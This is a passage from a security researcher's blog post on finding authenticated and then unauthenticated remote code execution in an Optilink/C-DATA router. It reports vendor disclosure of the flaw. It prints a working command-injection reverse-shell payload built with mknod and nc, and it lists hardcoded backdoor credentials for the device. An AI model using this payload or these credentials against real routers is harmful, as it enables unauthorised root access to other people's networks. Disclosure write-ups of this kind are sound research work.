And sure enough, I was getting the ping back! That means the command injection was working!

Yayy!

I was ecstatic at this point! So, I quickly jumped to payloadallthethings and used the Nc without the -e payload (Netcat OpenBSD), and I got a BusyBox shell back!

But, I didn’t had any interactivity in the shell, as the shell seemed to die as soon as I enter a command.

That was heartbreaking!

Le Sad GIF - Le Sad GIFs

New Breakthrough and gaining an intertactive shell

So I’ve tried all the other possible payloads: Bash oneliner, Nc with -e and so on. But, none of them worked.

My only shot at this point was to try to tweak the Netcat OpenBSD payload and get an interactive reverse shell that way.

If that didn’t work, then I had to rely on other measures like prying open the router and try to get root shell via UART. But that’s too cumbersome, and time/money consuming process. And I desperately needed a quick win (also I was lazy).

So, I’ve started tinkering with the payload and at one point, I was able to print out the errors from the commands I input into the first reverse shell, on another reverse shell.

That’s when I’ve understood that it might be an issue with the mkfifo command, as nc without -e payload creates a fifo file named f in /tmp directory, and uses this fifo file to make two way communication possible.

So, chances are mkfifo binary is not present in the router and now my challenge was to make my reverse shell interactive without using mkfifo.

I then began to look around the extracted contents from the router firmware and found a binary named busybox in it.

I now have information about the shell the router uses. BusyBox.

BusyBox is a single executable binary, that replaces basic functions of more than 300 common commands. It was specifically created to be used in embedded appliances with limited hardware specifications.

I ran the busybox binary and searched for mkfifo but, mkfifo was absent in busybox; confirming my suspicion.

N.B: Extracting the firmware file and running the binaries in it is a modereately big and different topic. So, to stay on the topic, I won’t be discussing about that in this post. I’ll try to write another post about that.

Upon further research, I have found some common commands that are included in BusyBox from here.

Among them, one particular name caught my eye. mknod.

What is mknod? Explainshell to the rescue!

According to explain shell, mknod is used to make block or character special files. It’s functionality sounds similar to mkfifo.

The Linux manual website explained that mknod can create several filetypes, including fifo!

I researched further and found out a blog, which mentioned that we can create fifo file using the following command.

 mknod f p

The above command will create a fifo file named f. Excellent!

So, I modified the Netcat OpenBSD payload with this mknod command, which makes our final payload as shown below.

1.1.1.1`rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f`
And my shell was interactive!!

party time GIF by Solar Impulse-downsized - BookSparks

Have you ever felt like when a solution is so stupid, that it is not going to work; but to our astonishment it worked wonderfully? For me, this was that moment.

I have searched in popular reverse shell payload sites/repos like PaylodAllTheThings for this particular payload with mknod, but none of them had the payload with mknod command.

So, what I had here probably was a small but significant breakthrough!

*pats on the back*

I’ve added this payload to PayloadAllTheThings repo, for future researchers who might be stuck without mkfifo.

As of now, I had full control over the router. I just looked around the file system and found several juicy information.

So, my next step was to automate this step using a PoC script.

And that’s when I’ve found out that, to pull of this attack, we need to be an authenticated user and we require the WAN interface name. That doesn’t seem too dangerous afterall, right?

Not so fast. As I’ve mentioned earlier, firmware V2.1.11_X101 had two users. A normal unprivileged user and a super user. The vulnerability is at /boaform/admin/formPing page and that page only checks if there is a valid user session or not. It doesn’t checks if the user is authorized to sent Ping data or not.

Which means that a low priv user can gain root shell on the user. Another scary aspect is that, this router’s web interface is HTTP; not HTTPS. Which means that a local user in the network can sniff the credentials to the router and gain root shell on the router.

I’ve reported this vulnerability to the vendor ASAP and they advised me to fix the vulnerability by upgrading the firmware of the user to their latest firmware V2.1.13_X101_OP; which I did.

Oh and by the way, their upgrade process is a joke. The vendor doesn’t share the firmware to the public. Instead, if the customer want to upgrade their router to the latest firmware, they had to contact the vendor directly, and their tech support will arrange a remote session to upgrade the router.

I now know why they refuse to share their firmware to the public. They don’t want the public to find out how pathetic of a software is their routers running currently.

Shaking Head In Disgust Gif

Up untill this point, this was an authenticated RCE vulnerability. But, I was not satisfied yet. Writing a PoC for authenticated RCE seemed lame. The question I had in mind was, can I find an unauthenticated RCE?

Upgrading Authenticated RCE to Unauthenticated RCE

For finding an unauthenticated RCE, my noobie hacker brain had two ideas.

  1. Find a new BoF vulnerability
  2. Find some backdoor credentials and upgrade the Authenticated RCE to an Unauthenticated one.

Now, finding a BoF vulnerability seems easy on the paper. But, it is very difficult to find because running gdbserver directly on the router is not possible because of the resource limitations and we have to emulate the firmware first.

Also, C-DATA have been caught before for leaving backdoor credentials in their devices. And since Optilink is just a rebrand of C-DATA, the chance of finding backdoor credentials are pretty high.

So, I’ve decided to take the easier route first. i.e, to hunt for backdoor credentials.

And I’ve found some password files to the boaserver pretty easily in the /var directory.

It contained a the credentials in a username:hash format. However, it was an unknown hash format.

Disappointed, I decided to check the /etc/passwd file, to check the hash (There was no shadow file in the router) and there was the same user entries with the same password, but in MD5 Crypt hash! (Hashcat Mode 500)

I cracked the hash and found the backdoor credentials. There were two credentials.

  • e8c:e8c
  • adsl:realtek

Since these are hardcoded credentials to the router, I can use either of them to upgrade my finding to an unauthenticated RCE! And I did just that!

I’ve submitted the PoC script to Exploit-DB and they’ve published my exploit! 😇

Postlude

The key takeaway from this experience for me is that always ensure that our tech will have good technical support and will provide timely updates. Although the tech support of Optilink were friendly, courteous and fixed the issue as soon as they could, the company’s update policy must be changed and they must provide the firmware available to public.

Peace out! ✌️